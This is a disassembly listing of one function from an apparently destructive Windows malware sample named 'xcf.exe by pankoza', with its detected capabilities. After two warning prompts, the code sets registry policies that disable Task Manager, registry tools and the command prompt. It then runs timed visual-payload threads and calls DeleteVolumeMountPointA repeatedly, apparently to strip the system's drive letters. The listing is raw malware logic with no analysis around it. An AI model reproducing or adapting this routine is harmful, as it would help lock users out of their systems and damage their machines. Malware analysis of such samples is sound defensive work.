Function at 0x402bb0
Capabilities:
Create thread
Disable system features via registry on windows
Set registry value
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.xcf.exe_by_pankoza
push str.This_is_a_Malware__nClick_yes_to_run._nClick_no_to_exit.
push 0
call esi
cmp eax, 7
jne 0x402bdf
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push 0x412b18
push str.Are_you_sure__It_will_destroy_this_computer_and_it_contains_flashing_lights___NOT_for_epilepsy
push 0
call esi
push 0
cmp eax, 7
jne 0x402bfc
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0x4012e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 1
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [esp + 0x20]
call edi
push dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 1
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [esp + 0x20]
call edi
push dword [esp + 0xc]
call esi
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 2
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push 0x80000001
call ebx
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.DisableCMD
push dword [esp + 0x20]
call edi
push dword [esp + 0xc]
call esi
call fcn.00402290
push 0
push 0
push 0
push 0x401320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
push 0x7530
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0x64
call ebx
call fcn.004023e0
push 0
push 0
push 0
push 0x401730
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4017a0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov dword [esp + 0x10], eax
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x3e8
call ebx
call fcn.00402590
push 0
push 0
push 0
push 0x401aa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x3e8
call ebx
call fcn.00402600
push 0
push 0
push 0
push 0x401850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x3e8
call ebx
call fcn.00402760
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401b80
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401c90
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
call fcn.004028c0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401e20
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401f10
push 0
push 0
mov esi, eax
call ebx
push 0x7530
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
call fcn.00402a20
push 0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x401fc0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402200
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0x412d58
call esi
push 0x412d5c
call esi
push 0x412d60
call esi
push 0x412d64
call esi
push 0x412d68
call esi
push 0x412d6c
call esi
push 0x412d70
call esi
push 0x412d74
call esi
push 0x412d78
call esi
push 0x412d7c
call esi
push 0x412d80
call esi
push 0x412d84
call esi
push 0x412d88
call esi
push 0x412d8c
call esi
push 0x412d90
call esi
push 0x412d94
call esi
push 0x412d98
call esi
push 0x412d9c
call esi
push 0x412da0
call esi
push 0x412da4
call esi
push 0x412da8
call esi
push 0x412dac
call esi
push 0x412db0
call esi
push 0x412db4
call esi
push 0x412db8
call esi
push 0x412dbc
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10